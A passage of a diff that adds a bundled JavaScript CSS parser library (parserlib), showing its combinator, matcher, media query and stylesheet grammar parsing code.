+    infotext            :"Text color for tooltip controls.",
+    menu                :"Menu background.",
+    menutext            :"Text in menus.",
+    scrollbar           :"Scroll bar gray area.",
+    threeddarkshadow    :"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
+    threedface          :"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
+    threedhighlight     :"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
+    threedlightshadow   :"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
+    threedshadow        :"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
+    window              :"Window background.",
+    windowframe         :"Window frame.",
+    windowtext          :"Text in windows."
+};
+
+},{}],2:[function(require,module,exports){
+"use strict";
+
+module.exports = Combinator;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents a selector combinator (whitespace, +, >).
+ * @namespace parserlib.css
+ * @class Combinator
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {String} text The text representation of the unit.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function Combinator(text, line, col) {
+
+    SyntaxUnit.call(this, text, line, col, Parser.COMBINATOR_TYPE);
+
+    /**
+     * The type of modifier.
+     * @type String
+     * @property type
+     */
+    this.type = "unknown";
+
+    //pretty simple
+    if (/^\s+$/.test(text)) {
+        this.type = "descendant";
+    } else if (text === ">") {
+        this.type = "child";
+    } else if (text === "+") {
+        this.type = "adjacent-sibling";
+    } else if (text === "~") {
+        this.type = "sibling";
+    }
+
+}
+
+Combinator.prototype = new SyntaxUnit();
+Combinator.prototype.constructor = Combinator;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],3:[function(require,module,exports){
+"use strict";
+
+module.exports = Matcher;
+
+var StringReader = require("../util/StringReader");
+var SyntaxError = require("../util/SyntaxError");
+
+/**
+ * This class implements a combinator library for matcher functions.
+ * The combinators are described at:
+ * https://developer.mozilla.org/en-US/docs/Web/CSS/Value_definition_syntax#Component_value_combinators
+ */
+function Matcher(matchFunc, toString) {
+    this.match = function(expression) {
+        // Save/restore marks to ensure that failed matches always restore
+        // the original location in the expression.
+        var result;
+        expression.mark();
+        result = matchFunc(expression);
+        if (result) {
+            expression.drop();
+        } else {
+            expression.restore();
+        }
+        return result;
+    };
+    this.toString = typeof toString === "function" ? toString : function() {
+        return toString;
+    };
+}
+
+/** Precedence table of combinators. */
+Matcher.prec = {
+    MOD:    5,
+    SEQ:    4,
+    ANDAND: 3,
+    OROR:   2,
+    ALT:    1
+};
+
+/** Simple recursive-descent grammar to build matchers from strings. */
+Matcher.parse = function(str) {
+    var reader, eat, expr, oror, andand, seq, mod, term, result;
+    reader = new StringReader(str);
+    eat = function(matcher) {
+        var result = reader.readMatch(matcher);
+        if (result === null) {
+            throw new SyntaxError(
+                "Expected "+matcher, reader.getLine(), reader.getCol());
+        }
+        return result;
+    };
+    expr = function() {
+        // expr = oror (" | " oror)*
+        var m = [ oror() ];
+        while (reader.readMatch(" | ") !== null) {
+            m.push(oror());
+        }
+        return m.length === 1 ? m[0] : Matcher.alt.apply(Matcher, m);
+    };
+    oror = function() {
+        // oror = andand ( " || " andand)*
+        var m = [ andand() ];
+        while (reader.readMatch(" || ") !== null) {
+            m.push(andand());
+        }
+        return m.length === 1 ? m[0] : Matcher.oror.apply(Matcher, m);
+    };
+    andand = function() {
+        // andand = seq ( " && " seq)*
+        var m = [ seq() ];
+        while (reader.readMatch(" && ") !== null) {
+            m.push(seq());
+        }
+        return m.length === 1 ? m[0] : Matcher.andand.apply(Matcher, m);
+    };
+    seq = function() {
+        // seq = mod ( " " mod)*
+        var m = [ mod() ];
+        while (reader.readMatch(/^ (?![&|\]])/) !== null) {
+            m.push(mod());
+        }
+        return m.length === 1 ? m[0] : Matcher.seq.apply(Matcher, m);
+    };
+    mod = function() {
+        // mod = term ( "?" | "*" | "+" | "#" | "{<num>,<num>}" )?
+        var m = term();
+        if (reader.readMatch("?") !== null) {
+            return m.question();
+        } else if (reader.readMatch("*") !== null) {
+            return m.star();
+        } else if (reader.readMatch("+") !== null) {
+            return m.plus();
+        } else if (reader.readMatch("#") !== null) {
+            return m.hash();
+        } else if (reader.readMatch(/^\{\s*/) !== null) {
+            var min = eat(/^\d+/);
+            eat(/^\s*,\s*/);
+            var max = eat(/^\d+/);
+            eat(/^\s*\}/);
+            return m.braces(+min, +max);
+        }
+        return m;
+    };
+    term = function() {
+        // term = <nt> | literal | "[ " expression " ]"
+        if (reader.readMatch("[ ") !== null) {
+            var m = expr();
+            eat(" ]");
+            return m;
+        }
+        return Matcher.fromType(eat(/^[^ ?*+#{]+/));
+    };
+    result = expr();
+    if (!reader.eof()) {
+        throw new SyntaxError(
+            "Expected end of string", reader.getLine(), reader.getCol());
+    }
+    return result;
+};
+
+/**
+ * Convert a string to a matcher (parsing simple alternations),
+ * or do nothing if the argument is already a matcher.
+ */
+Matcher.cast = function(m) {
+    if (m instanceof Matcher) {
+        return m;
+    }
+    return Matcher.parse(m);
+};
+
+/**
+ * Create a matcher for a single type.
+ */
+Matcher.fromType = function(type) {
+    // Late require of ValidationTypes to break a dependency cycle.
+    var ValidationTypes = require("./ValidationTypes");
+    return new Matcher(function(expression) {
+        return expression.hasNext() && ValidationTypes.isType(expression, type);
+    }, type);
+};
+
+/**
+ * Create a matcher for one or more juxtaposed words, which all must
+ * occur, in the given order.
+ */
+Matcher.seq = function() {
+    var ms = Array.prototype.slice.call(arguments).map(Matcher.cast);
+    if (ms.length === 1) {
+        return ms[0];
+    }
+    return new Matcher(function(expression) {
+        var i, result = true;
+        for (i = 0; result && i < ms.length; i++) {
+            result = ms[i].match(expression);
+        }
+        return result;
+    }, function(prec) {
+        var p = Matcher.prec.SEQ;
+        var s = ms.map(function(m) {
+            return m.toString(p);
+        }).join(" ");
+        if (prec > p) {
+            s = "[ " + s + " ]";
+        }
+        return s;
+    });
+};
+
+/**
+ * Create a matcher for one or more alternatives, where exactly one
+ * must occur.
+ */
+Matcher.alt = function() {
+    var ms = Array.prototype.slice.call(arguments).map(Matcher.cast);
+    if (ms.length === 1) {
+        return ms[0];
+    }
+    return new Matcher(function(expression) {
+        var i, result = false;
+        for (i = 0; !result && i < ms.length; i++) {
+            result = ms[i].match(expression);
+        }
+        return result;
+    }, function(prec) {
+        var p = Matcher.prec.ALT;
+        var s = ms.map(function(m) {
+            return m.toString(p);
+        }).join(" | ");
+        if (prec > p) {
+            s = "[ " + s + " ]";
+        }
+        return s;
+    });
+};
+
+/**
+ * Create a matcher for two or more options.  This implements the
+ * double bar (||) and double ampersand (&&) operators, as well as
+ * variants of && where some of the alternatives are optional.
+ * This will backtrack through even successful matches to try to
+ * maximize the number of items matched.
+ */
+Matcher.many = function(required) {
+    var ms = Array.prototype.slice.call(arguments, 1).reduce(function(acc, v) {
+        if (v.expand) {
+            // Insert all of the options for the given complex rule as
+            // individual options.
+            var ValidationTypes = require("./ValidationTypes");
+            acc.push.apply(acc, ValidationTypes.complex[v.expand].options);
+        } else {
+            acc.push(Matcher.cast(v));
+        }
+        return acc;
+    }, []);
+
+    if (required === true) {
+        required = ms.map(function() {
+            return true;
+        });
+    }
+
+    var result = new Matcher(function(expression) {
+        var seen = [], max = 0, pass = 0;
+        var success = function(matchCount) {
+            if (pass === 0) {
+                max = Math.max(matchCount, max);
+                return matchCount === ms.length;
+            } else {
+                return matchCount === max;
+            }
+        };
+        var tryMatch = function(matchCount) {
+            for (var i = 0; i < ms.length; i++) {
+                if (seen[i]) {
+                    continue;
+                }
+                expression.mark();
+                if (ms[i].match(expression)) {
+                    seen[i] = true;
+                    // Increase matchCount iff this was a required element
+                    // (or if all the elements are optional)
+                    if (tryMatch(matchCount + ((required === false || required[i]) ? 1 : 0))) {
+                        expression.drop();
+                        return true;
+                    }
+                    // Backtrack: try *not* matching using this rule, and
+                    // let's see if it leads to a better overall match.
+                    expression.restore();
+                    seen[i] = false;
+                } else {
+                    expression.drop();
+                }
+            }
+            return success(matchCount);
+        };
+        if (!tryMatch(0)) {
+            // Couldn't get a complete match, retrace our steps to make the
+            // match with the maximum # of required elements.
+            pass++;
+            tryMatch(0);
+        }
+
+        if (required === false) {
+            return max > 0;
+        }
+        // Use finer-grained specification of which matchers are required.
+        for (var i = 0; i < ms.length; i++) {
+            if (required[i] && !seen[i]) {
+                return false;
+            }
+        }
+        return true;
+    }, function(prec) {
+        var p = required === false ? Matcher.prec.OROR : Matcher.prec.ANDAND;
+        var s = ms.map(function(m, i) {
+            if (required !== false && !required[i]) {
+                return m.toString(Matcher.prec.MOD) + "?";
+            }
+            return m.toString(p);
+        }).join(required === false ? " || " : " && ");
+        if (prec > p) {
+            s = "[ " + s + " ]";
+        }
+        return s;
+    });
+    result.options = ms;
+    return result;
+};
+
+/**
+ * Create a matcher for two or more options, where all options are
+ * mandatory but they may appear in any order.
+ */
+Matcher.andand = function() {
+    var args = Array.prototype.slice.call(arguments);
+    args.unshift(true);
+    return Matcher.many.apply(Matcher, args);
+};
+
+/**
+ * Create a matcher for two or more options, where options are
+ * optional and may appear in any order, but at least one must be
+ * present.
+ */
+Matcher.oror = function() {
+    var args = Array.prototype.slice.call(arguments);
+    args.unshift(false);
+    return Matcher.many.apply(Matcher, args);
+};
+
+/** Instance methods on Matchers. */
+Matcher.prototype = {
+    constructor: Matcher,
+    // These are expected to be overridden in every instance.
+    match: function() { throw new Error("unimplemented"); },
+    toString: function() { throw new Error("unimplemented"); },
+    // This returns a standalone function to do the matching.
+    func: function() { return this.match.bind(this); },
+    // Basic combinators
+    then: function(m) { return Matcher.seq(this, m); },
+    or: function(m) { return Matcher.alt(this, m); },
+    andand: function(m) { return Matcher.many(true, this, m); },
+    oror: function(m) { return Matcher.many(false, this, m); },
+    // Component value multipliers
+    star: function() { return this.braces(0, Infinity, "*"); },
+    plus: function() { return this.braces(1, Infinity, "+"); },
+    question: function() { return this.braces(0, 1, "?"); },
+    hash: function() {
+        return this.braces(1, Infinity, "#", Matcher.cast(","));
+    },
+    braces: function(min, max, marker, optSep) {
+        var m1 = this, m2 = optSep ? optSep.then(this) : this;
+        if (!marker) {
+            marker = "{" + min + "," + max + "}";
+        }
+        return new Matcher(function(expression) {
+            var result = true, i;
+            for (i = 0; i < max; i++) {
+                if (i > 0 && optSep) {
+                    result = m2.match(expression);
+                } else {
+                    result = m1.match(expression);
+                }
+                if (!result) {
+                    break;
+                }
+            }
+            return i >= min;
+        }, function() {
+            return m1.toString(Matcher.prec.MOD) + marker;
+        });
+    }
+};
+
+},{"../util/StringReader":24,"../util/SyntaxError":25,"./ValidationTypes":21}],4:[function(require,module,exports){
+"use strict";
+
+module.exports = MediaFeature;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents a media feature, such as max-width:500.
+ * @namespace parserlib.css
+ * @class MediaFeature
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {SyntaxUnit} name The name of the feature.
+ * @param {SyntaxUnit} value The value of the feature or null if none.
+ */
+function MediaFeature(name, value) {
+
+    SyntaxUnit.call(this, "(" + name + (value !== null ? ":" + value : "") + ")", name.startLine, name.startCol, Parser.MEDIA_FEATURE_TYPE);
+
+    /**
+     * The name of the media feature
+     * @type String
+     * @property name
+     */
+    this.name = name;
+
+    /**
+     * The value for the feature or null if there is none.
+     * @type SyntaxUnit
+     * @property value
+     */
+    this.value = value;
+}
+
+MediaFeature.prototype = new SyntaxUnit();
+MediaFeature.prototype.constructor = MediaFeature;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],5:[function(require,module,exports){
+"use strict";
+
+module.exports = MediaQuery;
+
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Parser = require("./Parser");
+
+/**
+ * Represents an individual media query.
+ * @namespace parserlib.css
+ * @class MediaQuery
+ * @extends parserlib.util.SyntaxUnit
+ * @constructor
+ * @param {String} modifier The modifier "not" or "only" (or null).
+ * @param {String} mediaType The type of media (i.e., "print").
+ * @param {Array} parts Array of selectors parts making up this selector.
+ * @param {int} line The line of text on which the unit resides.
+ * @param {int} col The column of text on which the unit resides.
+ */
+function MediaQuery(modifier, mediaType, features, line, col) {
+
+    SyntaxUnit.call(this, (modifier ? modifier + " ": "") + (mediaType ? mediaType : "") + (mediaType && features.length > 0 ? " and " : "") + features.join(" and "), line, col, Parser.MEDIA_QUERY_TYPE);
+
+    /**
+     * The media modifier ("not" or "only")
+     * @type String
+     * @property modifier
+     */
+    this.modifier = modifier;
+
+    /**
+     * The mediaType (i.e., "print")
+     * @type String
+     * @property mediaType
+     */
+    this.mediaType = mediaType;
+
+    /**
+     * The parts that make up the selector.
+     * @type Array
+     * @property features
+     */
+    this.features = features;
+
+}
+
+MediaQuery.prototype = new SyntaxUnit();
+MediaQuery.prototype.constructor = MediaQuery;
+
+
+},{"../util/SyntaxUnit":26,"./Parser":6}],6:[function(require,module,exports){
+"use strict";
+
+module.exports = Parser;
+
+var EventTarget = require("../util/EventTarget");
+var SyntaxError = require("../util/SyntaxError");
+var SyntaxUnit = require("../util/SyntaxUnit");
+
+var Combinator = require("./Combinator");
+var MediaFeature = require("./MediaFeature");
+var MediaQuery = require("./MediaQuery");
+var PropertyName = require("./PropertyName");
+var PropertyValue = require("./PropertyValue");
+var PropertyValuePart = require("./PropertyValuePart");
+var Selector = require("./Selector");
+var SelectorPart = require("./SelectorPart");
+var SelectorSubPart = require("./SelectorSubPart");
+var TokenStream = require("./TokenStream");
+var Tokens = require("./Tokens");
+var Validation = require("./Validation");
+
+/**
+ * A CSS3 parser.
+ * @namespace parserlib.css
+ * @class Parser
+ * @constructor
+ * @param {Object} options (Optional) Various options for the parser:
+ *      starHack (true|false) to allow IE6 star hack as valid,
+ *      underscoreHack (true|false) to interpret leading underscores
+ *      as IE6-7 targeting for known properties, ieFilters (true|false)
+ *      to indicate that IE < 8 filters should be accepted and not throw
+ *      syntax errors.
+ */
+function Parser(options) {
+
+    //inherit event functionality
+    EventTarget.call(this);
+
+
+    this.options = options || {};
+
+    this._tokenStream = null;
+}
+
+//Static constants
+Parser.DEFAULT_TYPE = 0;
+Parser.COMBINATOR_TYPE = 1;
+Parser.MEDIA_FEATURE_TYPE = 2;
+Parser.MEDIA_QUERY_TYPE = 3;
+Parser.PROPERTY_NAME_TYPE = 4;
+Parser.PROPERTY_VALUE_TYPE = 5;
+Parser.PROPERTY_VALUE_PART_TYPE = 6;
+Parser.SELECTOR_TYPE = 7;
+Parser.SELECTOR_PART_TYPE = 8;
+Parser.SELECTOR_SUB_PART_TYPE = 9;
+
+Parser.prototype = function() {
+
+    var proto = new EventTarget(),  //new prototype
+        prop,
+        additions =  {
+            __proto__: null,
+
+            //restore constructor
+            constructor: Parser,
+
+            //instance constants - yuck
+            DEFAULT_TYPE : 0,
+            COMBINATOR_TYPE : 1,
+            MEDIA_FEATURE_TYPE : 2,
+            MEDIA_QUERY_TYPE : 3,
+            PROPERTY_NAME_TYPE : 4,
+            PROPERTY_VALUE_TYPE : 5,
+            PROPERTY_VALUE_PART_TYPE : 6,
+            SELECTOR_TYPE : 7,
+            SELECTOR_PART_TYPE : 8,
+            SELECTOR_SUB_PART_TYPE : 9,
+
+            //-----------------------------------------------------------------
+            // Grammar
+            //-----------------------------------------------------------------
+
+            _stylesheet: function() {
+
+                /*
+                 * stylesheet
+                 *  : [ CHARSET_SYM S* STRING S* ';' ]?
+                 *    [S|CDO|CDC]* [ import [S|CDO|CDC]* ]*
+                 *    [ namespace [S|CDO|CDC]* ]*
+                 *    [ [ ruleset | media | page | font_face | keyframes_rule | supports_rule ] [S|CDO|CDC]* ]*
+                 *  ;
+                 */
+
+                var tokenStream = this._tokenStream,
+                    count,
+                    token,
+                    tt;
+
+                this.fire("startstylesheet");
+
+                //try to read character set
+                this._charset();
+
+                this._skipCruft();
+
+                //try to read imports - may be more than one
+                while (tokenStream.peek() === Tokens.IMPORT_SYM) {
+                    this._import();
+                    this._skipCruft();
+                }
+
+                //try to read namespaces - may be more than one
+                while (tokenStream.peek() === Tokens.NAMESPACE_SYM) {
+                    this._namespace();
+                    this._skipCruft();
+                }
+
+                //get the next token
+                tt = tokenStream.peek();
+
+                //try to read the rest
+                while (tt > Tokens.EOF) {
+
+                    try {
+
+                        switch (tt) {
+                            case Tokens.MEDIA_SYM:
+                                this._media();
+                                this._skipCruft();
+                                break;
+                            case Tokens.PAGE_SYM:
+                                this._page();
+                                this._skipCruft();
+                                break;
+                            case Tokens.FONT_FACE_SYM:
+                                this._font_face();
+                                this._skipCruft();
+                                break;
+                            case Tokens.KEYFRAMES_SYM:
+                                this._keyframes();
+                                this._skipCruft();
+                                break;
+                            case Tokens.VIEWPORT_SYM:
+                                this._viewport();
+                                this._skipCruft();
+                                break;
+                            case Tokens.DOCUMENT_SYM:
+                                this._document();
+                                this._skipCruft();
+                                break;
+                            case Tokens.SUPPORTS_SYM:
+                                this._supports();
+                                this._skipCruft();
+                                break;
+                            case Tokens.UNKNOWN_SYM:  //unknown @ rule
+                                tokenStream.get();
+                                if (!this.options.strict) {
+
+                                    //fire error event
+                                    this.fire({
+                                        type:       "error",
+                                        error:      null,
+                                        message:    "Unknown @ rule: " + tokenStream.LT(0).value + ".",
+                                        line:       tokenStream.LT(0).startLine,
+                                        col:        tokenStream.LT(0).startCol
+                                    });
+
+                                    //skip braces
+                                    count=0;
+                                    while (tokenStream.advance([Tokens.LBRACE, Tokens.RBRACE]) === Tokens.LBRACE) {
+                                        count++;    //keep track of nesting depth
+                                    }
+
+                                    while (count) {
+                                        tokenStream.advance([Tokens.RBRACE]);
+                                        count--;
+                                    }
+
+                                } else {
+                                    //not a syntax error, rethrow it
+                                    throw new SyntaxError("Unknown @ rule.", tokenStream.LT(0).startLine, tokenStream.LT(0).startCol);
+                                }
+                                break;
+                            case Tokens.S:
+                                this._readWhitespace();
+                                break;
+                            default:
+                                if (!this._ruleset()) {
+
+                                    //error handling for known issues
+                                    switch (tt) {
+                                        case Tokens.CHARSET_SYM:
+                                            token = tokenStream.LT(1);
+                                            this._charset(false);
+                                            throw new SyntaxError("@charset not allowed here.", token.startLine, token.startCol);
+                                        case Tokens.IMPORT_SYM:
+                                            token = tokenStream.LT(1);
+                                            this._import(false);
+                                            throw new SyntaxError("@import not allowed here.", token.startLine, token.startCol);
+                                        case Tokens.NAMESPACE_SYM:
+                                            token = tokenStream.LT(1);
+                                            this._namespace(false);
+                                            throw new SyntaxError("@namespace not allowed here.", token.startLine, token.startCol);
+                                        default:
+                                            tokenStream.get();  //get the last token
+                                            this._unexpectedToken(tokenStream.token());
+                                    }
+
+                                }
+                        }
+                    } catch (ex) {
+                        if (ex instanceof SyntaxError && !this.options.strict) {
+                            this.fire({
+                                type:       "error",
+                                error:      ex,
+                                message:    ex.message,
+                                line:       ex.line,
+                                col:        ex.col
+                            });
+                        } else {
+                            throw ex;
+                        }
+                    }
+
+                    tt = tokenStream.peek();
+                }
+
+                if (tt !== Tokens.EOF) {
+                    this._unexpectedToken(tokenStream.token());
+                }
+
+                this.fire("endstylesheet");
+            },
+
+            _charset: function(emit) {
+                var tokenStream = this._tokenStream,
+                    charset,
+                    token,
+                    line,
+                    col;
+
+                if (tokenStream.match(Tokens.CHARSET_SYM)) {
+                    line = tokenStream.token().startLine;
+                    col = tokenStream.token().startCol;
+
+                    this._readWhitespace();
+                    tokenStream.mustMatch(Tokens.STRING);
+
+                    token = tokenStream.token();
+                    charset = token.value;
+
+                    this._readWhitespace();
+                    tokenStream.mustMatch(Tokens.SEMICOLON);
+
+                    if (emit !== false) {
+                        this.fire({
+                            type:   "charset",
+                            charset:charset,
+                            line:   line,
+                            col:    col
+                        });
+                    }
+                }
+            },
+
+            _import: function(emit) {
+                /*
+                 * import
+                 *   : IMPORT_SYM S*
+                 *    [STRING|URI] S* media_query_list? ';' S*
+                 */
+
+                var tokenStream = this._tokenStream,
+                    uri,
+                    importToken,
+                    mediaList   = [];
+
+                //read import symbol
+                tokenStream.mustMatch(Tokens.IMPORT_SYM);
+                importToken = tokenStream.token();
+                this._readWhitespace();
+
+                tokenStream.mustMatch([Tokens.STRING, Tokens.URI]);
+
+                //grab the URI value
+                uri = tokenStream.token().value.replace(/^(?:url\()?["']?([^"']+?)["']?\)?$/, "$1");
+
+                this._readWhitespace();
+
+                mediaList = this._media_query_list();
+
+                //must end with a semicolon
+                tokenStream.mustMatch(Tokens.SEMICOLON);
+                this._readWhitespace();
+
+                if (emit !== false) {
+                    this.fire({
+                        type:   "import",
+                        uri:    uri,
+                        media:  mediaList,
+                        line:   importToken.startLine,
+                        col:    importToken.startCol
+                    });
+                }
+
+            },
+
+            _namespace: function(emit) {
+                /*
+                 * namespace
+                 *   : NAMESPACE_SYM S* [namespace_prefix S*]? [STRING|URI] S* ';' S*
+                 */
+
+                var tokenStream = this._tokenStream,
+                    line,
+                    col,
+                    prefix,
+                    uri;
+
+                //read import symbol
+                tokenStream.mustMatch(Tokens.NAMESPACE_SYM);
+                line = tokenStream.token().startLine;
+                col = tokenStream.token().startCol;
+                this._readWhitespace();
+
+                //it's a namespace prefix - no _namespace_prefix() method because it's just an IDENT
+                if (tokenStream.match(Tokens.IDENT)) {
+                    prefix = tokenStream.token().value;
+                    this._readWhitespace();
+                }
+
+                tokenStream.mustMatch([Tokens.STRING, Tokens.URI]);
+                /*if (!tokenStream.match(Tokens.STRING)){
+                    tokenStream.mustMatch(Tokens.URI);
+                }*/
+
+                //grab the URI value
+                uri = tokenStream.token().value.replace(/(?:url\()?["']([^"']+)["']\)?/, "$1");
+
+                this._readWhitespace();
+
+                //must end with a semicolon
+                tokenStream.mustMatch(Tokens.SEMICOLON);
+                this._readWhitespace();
+
+                if (emit !== false) {
+                    this.fire({
+                        type:   "namespace",
+                        prefix: prefix,
+                        uri:    uri,
+                        line:   line,
+                        col:    col
+                    });
+                }
+
+            },
+
+            _supports: function(emit) {
+                /*
+                 * supports_rule
+                 *  : SUPPORTS_SYM S* supports_condition S* group_rule_body
+                 *  ;
+                 */
+                var tokenStream = this._tokenStream,
+                    line,
+                    col;
+
+                if (tokenStream.match(Tokens.SUPPORTS_SYM)) {
+                    line = tokenStream.token().startLine;
+                    col = tokenStream.token().startCol;
+
+                    this._readWhitespace();
+                    this._supports_condition();
+                    this._readWhitespace();
+
+                    tokenStream.mustMatch(Tokens.LBRACE);
+                    this._readWhitespace();
+
+                    if (emit !== false) {
+                        this.fire({
+                            type:   "startsupports",
+                            line:   line,
+                            col:    col
+                        });
+                    }
+
+                    while (true) {
+                        if (!this._ruleset()) {
+                            break;
+                        }
+                    }
+
+                    tokenStream.mustMatch(Tokens.RBRACE);
+                    this._readWhitespace();
+
+                    this.fire({
+                        type:   "endsupports",
+                        line:   line,
+                        col:    col
+                    });
+                }
+            },
+
+            _supports_condition: function() {
+                /*
+                 * supports_condition
+                 *  : supports_negation | supports_conjunction | supports_disjunction |
+                 *    supports_condition_in_parens
+                 *  ;
+                 */
+                var tokenStream = this._tokenStream,
+                    ident;
+
+                if (tokenStream.match(Tokens.IDENT)) {
+                    ident = tokenStream.token().value.toLowerCase();
+
+                    if (ident === "not") {
+                        tokenStream.mustMatch(Tokens.S);
+                        this._supports_condition_in_parens();
+                    } else {
+                        tokenStream.unget();
+                    }
+                } else {
+                    this._supports_condition_in_parens();
+                    this._readWhitespace();
+
+                    while (tokenStream.peek() === Tokens.IDENT) {
+                        ident = tokenStream.LT(1).value.toLowerCase();
+                        if (ident === "and" || ident === "or") {
+                            tokenStream.mustMatch(Tokens.IDENT);
+                            this._readWhitespace();
+                            this._supports_condition_in_parens();
+                            this._readWhitespace();
+                        }
+                    }
+                }
+            },
+
+            _supports_condition_in_parens: function() {
+                /*
+                 * supports_condition_in_parens
+                 *  : ( '(' S* supports_condition S* ')' ) | supports_declaration_condition |
+                 *    general_enclosed
+                 *  ;
+                 */
+                var tokenStream = this._tokenStream,
+                    ident;
+
+                if (tokenStream.match(Tokens.LPAREN)) {
+                    this._readWhitespace();
+                    if (tokenStream.match(Tokens.IDENT)) {
+                        // look ahead for not keyword, if not given, continue with declaration condition.
+                        ident = tokenStream.token().value.toLowerCase();
+                        if (ident === "not") {
+                            this._readWhitespace();
+                            this._supports_condition();
+                            this._readWhitespace();
+                            tokenStream.mustMatch(Tokens.RPAREN);
+                        } else {
+                            tokenStream.unget();
+                            this._supports_declaration_condition(false);
+                        }
+                    } else {
+                        this._supports_condition();
+                        this._readWhitespace();
+                        tokenStream.mustMatch(Tokens.RPAREN);
+                    }
+                } else {
+                    this._supports_declaration_condition();
+                }
+            },
+
+            _supports_declaration_condition: function(requireStartParen) {
+                /*
+                 * supports_declaration_condition
+                 *  : '(' S* declaration ')'
+                 *  ;
+                 */
+                var tokenStream = this._tokenStream;
+
+                if (requireStartParen !== false) {
+                    tokenStream.mustMatch(Tokens.LPAREN);
+                }
+                this._readWhitespace();
+                this._declaration();
+                tokenStream.mustMatch(Tokens.RPAREN);
+            },
+
+            _media: function() {
+                /*
+                 * media
+                 *   : MEDIA_SYM S* media_query_list S* '{' S* ruleset* '}' S*
+                 *   ;
+                 */
+                var tokenStream     = this._tokenStream,
+                    line,
+                    col,
+                    mediaList;//       = [];
+
+                //look for @media
+                tokenStream.mustMatch(Tokens.MEDIA_SYM);
+                line = tokenStream.token().startLine;
+                col = tokenStream.token().startCol;
+
+                this._readWhitespace();
+
+                mediaList = this._media_query_list();
+
+                tokenStream.mustMatch(Tokens.LBRACE);
+                this._readWhitespace();
+
+                this.fire({
+                    type:   "startmedia",
+                    media:  mediaList,
+                    line:   line,
+                    col:    col
+                });
+
+                while (true) {
+                    if (tokenStream.peek() === Tokens.PAGE_SYM) {
+                        this._page();
+                    } else if (tokenStream.peek() === Tokens.FONT_FACE_SYM) {
+                        this._font_face();
+                    } else if (tokenStream.peek() === Tokens.VIEWPORT_SYM) {
+                        this._viewport();
+                    } else if (tokenStream.peek() === Tokens.DOCUMENT_SYM) {
+                        this._document();
+                    } else if (tokenStream.peek() === Tokens.SUPPORTS_SYM) {
+                        this._supports();
+                    } else if (tokenStream.peek() === Tokens.MEDIA_SYM) {
+                        this._media();
+                    } else if (!this._ruleset()) {
+                        break;
+                    }
+                }
+
+                tokenStream.mustMatch(Tokens.RBRACE);
+                this._readWhitespace();
+
+                this.fire({
+                    type:   "endmedia",
+                    media:  mediaList,
+                    line:   line,
+                    col:    col
+                });
+            },
+
+
+            //CSS3 Media Queries
+            _media_query_list: function() {
+                /*
+                 * media_query_list
+                 *   : S* [media_query [ ',' S* media_query ]* ]?
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    mediaList   = [];
+
+
+                this._readWhitespace();
+
+                if (tokenStream.peek() === Tokens.IDENT || tokenStream.peek() === Tokens.LPAREN) {
+                    mediaList.push(this._media_query());
+                }
+
+                while (tokenStream.match(Tokens.COMMA)) {
+                    this._readWhitespace();
+                    mediaList.push(this._media_query());
+                }
+
+                return mediaList;
+            },
+
+            /*
+             * Note: "expression" in the grammar maps to the _media_expression
+             * method.
+
+             */
+            _media_query: function() {
+                /*
+                 * media_query
+                 *   : [ONLY | NOT]? S* media_type S* [ AND S* expression ]*
+                 *   | expression [ AND S* expression ]*
+                 *   ;
+                 */
+                var tokenStream = this._tokenStream,
+                    type        = null,
+                    ident       = null,
+                    token       = null,
+                    expressions = [];
+
+                if (tokenStream.match(Tokens.IDENT)) {
+                    ident = tokenStream.token().value.toLowerCase();
+
+                    //since there's no custom tokens for these, need to manually check
+                    if (ident !== "only" && ident !== "not") {
+                        tokenStream.unget();
+                        ident = null;
+                    } else {
+                        token = tokenStream.token();
+                    }
+                }
+
+                this._readWhitespace();
+
+                if (tokenStream.peek() === Tokens.IDENT) {
+                    type = this._media_type();
+                    if (token === null) {
+                        token = tokenStream.token();
+                    }
+                } else if (tokenStream.peek() === Tokens.LPAREN) {
+                    if (token === null) {
+                        token = tokenStream.LT(1);
+                    }
+                    expressions.push(this._media_expression());
+                }
+
+                if (type === null && expressions.length === 0) {
+                    return null;
+                } else {
+                    this._readWhitespace();
+                    while (tokenStream.match(Tokens.IDENT)) {
+                        if (tokenStream.token().value.toLowerCase() !== "and") {
+                            this._unexpectedToken(tokenStream.token());
+                        }
+
+                        this._readWhitespace();
+                        expressions.push(this._media_expression());
+                    }
+                }
+
+                return new MediaQuery(ident, type, expressions, token.startLine, token.startCol);
+            },
+
+            //CSS3 Media Queries
+            _media_type: function() {
+                /*
+                 * media_type
+                 *   : IDENT
+                 *   ;
+                 */
+                return this._media_feature();
+            },
+
+            /**
+             * Note: in CSS3 Media Queries, this is called "expression".
+             * Renamed here to avoid conflict with CSS3 Selectors
+             * definition of "expression". Also note that "expr" in the
+             * grammar now maps to "expression" from CSS3 selectors.
+             * @method _media_expression
+             * @private
+             */
+            _media_expression: function() {
+                /*
+                 * expression
+                 *  : '(' S* media_feature S* [ ':' S* expr ]? ')' S*
+                 *  ;
+                 */
+                var tokenStream = this._tokenStream,
+                    feature     = null,
+                    token,
+                    expression  = null;
+
+                tokenStream.mustMatch(Tokens.LPAREN);
+
+                feature = this._media_feature();
+                this._readWhitespace();
+
+                if (tokenStream.match(Tokens.COLON)) {
+                    this._readWhitespace();
+                    token = tokenStream.LT(1);
+                    expression = this._expression();
+                }
+
+                tokenStream.mustMatch(Tokens.RPAREN);
+                this._readWhitespace();
+
+                return new MediaFeature(feature, expression ? new SyntaxUnit(expression, token.startLine, token.startCol) : null);
+            },
+
+            //CSS3 Media Queries
